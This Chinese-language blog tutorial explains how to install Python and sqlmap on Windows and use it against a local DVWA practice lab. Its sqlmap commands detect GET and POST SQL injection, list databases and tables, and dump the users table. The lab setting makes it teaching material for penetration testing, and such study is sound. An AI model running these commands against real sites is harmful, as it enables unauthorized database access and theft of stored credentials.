sqlmap的安装及使用教程

1. sqlmap简介

sqlmap 是一个开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器,支持多种数据库和多种注入技术。

2. sqlmap安装

sqlmap是基于python环境的,因此安装前需要安装python环境。sqlmap不支持python3及以上,推荐使用python2.7 !!
更新:目前sqlmap已支持python3.x版本,如已安装3.x版本就不用重复安装2.7了,而且安装3.x时可以选择自动添加环境变量,则不需要手动添加。如已完成python环境的安装,则可以跳过2.1,直接看2.2 sqlmap的安装。

2.1 python2.7环境的安装和配置

python2.7官方下载地址:Python 2.7.0 Release | Python.org

下载好后安装即可。安装之后需要配置环境变量,右键此电脑–属性–高级系统设置–环境变量 或者按win键直接搜索环境变量

image-20230728014024053

在用户变量或者环境变量的path中进行配置

image-20230728015532170

点击编辑,新建如下两个环境变量,注意替换成你自己的python27目录

D:\work\Python\Python27\Scripts\
D:\work\Python\Python27\

image-20230728021040481

如果你的电脑除了安装了python2.7外还安装了其他版本,由于sqlmap不支持3以上版本,为了正常使用避免冲突,有两种方法:

  1. 将python2.7的两个环境变量上移到python3.9的两个环境变量的上面,如我上图所示。这样使用python xxx命令时会优先使用python2.7,而不是其他版本;

  2. 打开python的安装目录,将python.exepythonw.exe文件分别重命名为python2.exepythonw2.exe,这样我们可以使用python2 xxx来执行python2.7。同理你也可以进入python3.x的目录将python.exe pythonw.exe 重命名为python3.exe pythonw3.exe,这样可以通过python3 xxx来执行python3.x。推荐使用这种方法。

    image-20230728020601194

image-20230728020904805

2.2 sqlmap的安装

sqlmap官方下载地址:sqlmap:自动SQL注入和数据库接管工具

下载压缩包,并解压到python2.7的目录下

image-20230728021331955

image-20230728021347353

进入sqlmap文件夹,在此文件夹中打开控制台(可以在上方地址栏输入cmd回车快速打开)

输入命令python2 sqlmap.py或者python2 sqlmap.py -h检验是否成功,出现如图所示界面就代表成功了。

image-20230728021732186

image-20230728021749235

每次运行sqlmap时,都要进入到目录中打开cmd,比较麻烦,因此我们可以配置一种快捷的方式去打开。我们可以配置一个批处理文件或者一个快捷方式去打开,这里介绍配置一个快捷方式。

在桌面新建一个快捷方式,对象位置输入cmd,点击下一步,给这个快捷方式取一个名称,我们可以取名叫sqlmap,点击完成。然后右键这个快捷方式,点击属性,将起始位置改为你的sqlmap目录,点击确定。

image-20230728022345655 image-20230728022350379

然后我们打开快捷方式,就直接进入到sqlmap目录下了,直接输入python2 sqlmap.py就可以运行了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OMFjB45Y-1690533970055)(https://tuuli-note-image.oss-cn-guangzhou.aliyuncs.com/img/202307280225512.png)]

3. sqlmap的简单使用

我们可以在本地搭建一个靶场,用于进行我们的sql注入测试,这里使用了DVWA靶场,DVWA是一个开源的支持多种攻击方式的靶场,搭建教程可以查看本人的另外一个教程:搭建本地DVWA靶场教程 及 靶场使用实例 - tuuli241

  1. GET注入

    使用-u参数后面接url,url中的参数使用?拼接

    python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit"
    

​ 在运行时会有一些选项让我们选择Y/N,可以直接回车或者按推荐的进行选择(大写字母的即为推荐的)。

​ 如运行后出现了以下选项:

image-20230728030733065

​ 第一次选项提示我们,已经找到了当前数据库为mysql,是否跳过检测其他数据库;

image-20230728024408372

​ 第二次选项提示我们,在“ level 、riskl ”的情况下,是否使用 MySQL 对应的所有 payload 进行检测;

image-20230728030802083

​ 第三次选项提示我们,已经找到了参数id存在注入漏洞,是否继续检测其它参数。

​ 运行后我们可以看到id这个参数存在sql注入漏洞

image-20230728030506674

  1. POST注入

    post注入与get注入同理,我们只需要在后面使用--data=" "来写post参数即可,如

    python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli" --data="id=1"
    
  2. 查询当前使用的数据库名称

    python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" --current-db
    

    image-20230728032017897

  3. 查询所有数据表

    使用-D "xx"参数来指定数据库,使用--tables参数来查询数据表

    python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" -D "dvwa" --tables
    

    image-20230728025913030

  4. 查询表中数据

    使用-T "xx"来指定表名,使用--dump来查询当前条件下的所有数据,也可以不指定表名,只指定数据库,这样可以查询出该数据库下所有表的所有数据。

    python2 sqlmap.py -u"http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=2&Submit=Submit" -D "dvwa" -T "users" --dump
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mWRv6rxa-1690533970059)(https://tuuli-note-image.oss-cn-guangzhou.aliyuncs.com/img/202307280300347.png)]

除此之外,还可以查询更多数据,如当前的数据库版本、当前的数据库用户、数据库密码等,可以使用不同的命令执行不同的操作。具体的操作和命令可查看github上官方的使用文档,或者在控制台中使用-h参数来查看帮助,或阅读参考资料中的参考文章。


4. 参考资料

官方GitHub:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

官方文档:Usage · sqlmapproject/sqlmap Wiki · GitHub

参考文章:

  1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)
  2. sqlmap详细使用教程_星落.的博客-CSDN博客

DVWA靶场搭建教程:搭建本地DVWA靶场教程 及 靶场使用示例 - tuuli - 博客园 (cnblogs.com)

  • 12
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
安装和使用sqlmap,需要进行以下几个步骤: 1. 安装Python:首先,你需要下载并安装Python 2.7.18版本。你可以在Python官方网站(https://www.python.org/downloads/)上找到安装程序。安装过程中,请确保勾选“Add python.exe to Path”选项,以便将Python添加到系统环境变量中。 2. 下载sqlmap:接下来,你需要下载sqlmap工具。你可以在sqlmap官方网站(http://sqlmap.org/)上找到下载链接。将下载的SQLMAP安装包解压到一个文件夹中,例如"sqlmap",并将该文件夹复制到你的Python安装目录下,例如"D:\Python2"。 3. 创建快捷方式:在桌面上创建一个cmd的快捷方式,并将其命名为"sqlmap"。右键点击该快捷方式,选择"属性",将"起始位置"修改为"D:\Python2\sqlmap"(你的Python安装目录),然后点击确定。 4. 验证安装:双击刚才创建的快捷方式,在命令行窗口中输入"python sqlmap.py -h",如果出现相关信息,则表示安装成功。 5. 使用sqlmap:根据你的需要,可以使用以下命令来使用sqlmap: - 检测注入点:使用命令"python sqlmap.py -u url"来检测URL中的注入点。 - 获取当前数据库:使用命令"python sqlmap.py -u 127.0.0.1/range/sqli-labs/Less-1/?id=1 --current-db"来获取当前数据库。 - 列出所有表:使用命令"python sqlmap.py -u url --tables --purge"来列出所有表。 - 获取列名:使用命令"python sqlmap.py -u 127.0.0.1/range/sqli-labs/Less-1/?id=1 --columns"来获取列名。 请注意,这只是sqlmap的一些基本使用方法,你可以在官方网站或者文档中找到更详细的教程和用法。希望对你有帮助!
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值